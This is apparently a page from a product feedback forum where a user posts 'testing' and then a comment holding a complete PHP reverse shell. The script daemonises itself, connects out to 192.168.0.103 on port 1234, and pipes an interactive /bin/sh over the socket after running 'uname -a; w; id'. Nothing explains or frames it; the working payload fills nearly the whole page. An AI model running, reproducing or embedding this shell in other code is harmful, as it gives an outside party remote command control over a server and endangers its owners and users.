Triffin

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  1. testing

    1 vote
    4 comments  ·  Database » Security  ·  Admin →
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    Triffin commented  · 

    testing

    Triffin shared this idea  · 
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    Triffin commented  · 

    <?php

    set_time_limit (0);
    $VERSION = "1.0";
    $ip = '192.168.0.103'; // CHANGE THIS
    $port = 1234; // CHANGE THIS
    $chunk_size = 1400;
    $write_a = null;
    $error_a = null;
    $shell = 'uname -a; w; id; /bin/sh -i';
    $daemon = 0;
    $debug = 0;

    if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
    printit("ERROR: Can't fork");
    exit(1);
    }

    if ($pid) {
    exit(0); // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
    printit("Error: Can't setsid()");
    exit(1);
    }

    $daemon = 1;
    } else {
    printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
    }

    // Change to a safe directory
    chdir("/");

    // Remove any umask we inherited
    umask(0);

    //
    // Do the reverse shell...
    //

    // Open reverse connection
    $sock = fsockopen($ip, $port, $errno, $errstr, 30);
    if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
    }

    // Spawn shell process
    $descriptorspec = array(
    0 => array("pipe", "r"), // stdin is a pipe that the child will read from
    1 => array("pipe", "w"), // stdout is a pipe that the child will write to
    2 => array("pipe", "w") // stderr is a pipe that the child will write to
    );

    $process = proc_open($shell, $descriptorspec, $pipes);

    if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
    }

    // Set everything to non-blocking
    // Reason: Occsionally reads will block, even though stream_select tells us they won't
    stream_set_blocking($pipes[0], 0);
    stream_set_blocking($pipes[1], 0);
    stream_set_blocking($pipes[2], 0);
    stream_set_blocking($sock, 0);

    printit("Successfully opened reverse shell to $ip:$port");

    while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
    printit("ERROR: Shell connection terminated");
    break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
    printit("ERROR: Shell process terminated");
    break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
    if ($debug) printit("SOCK READ");
    $input = fread($sock, $chunk_size);
    if ($debug) printit("SOCK: $input");
    fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
    if ($debug) printit("STDOUT READ");
    $input = fread($pipes[1], $chunk_size);
    if ($debug) printit("STDOUT: $input");
    fwrite($sock, $input);
    }

    if (in_array($pipes[2], $read_a)) {
    if ($debug) printit("STDERR READ");
    $input = fread($pipes[2], $chunk_size);
    if ($debug) printit("STDERR: $input");
    fwrite($sock, $input);
    }
    }

    fclose($sock);
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($process);

    function printit ($string) {
    if (!$daemon) {
    print "$string\n";
    }
    }

    ?>

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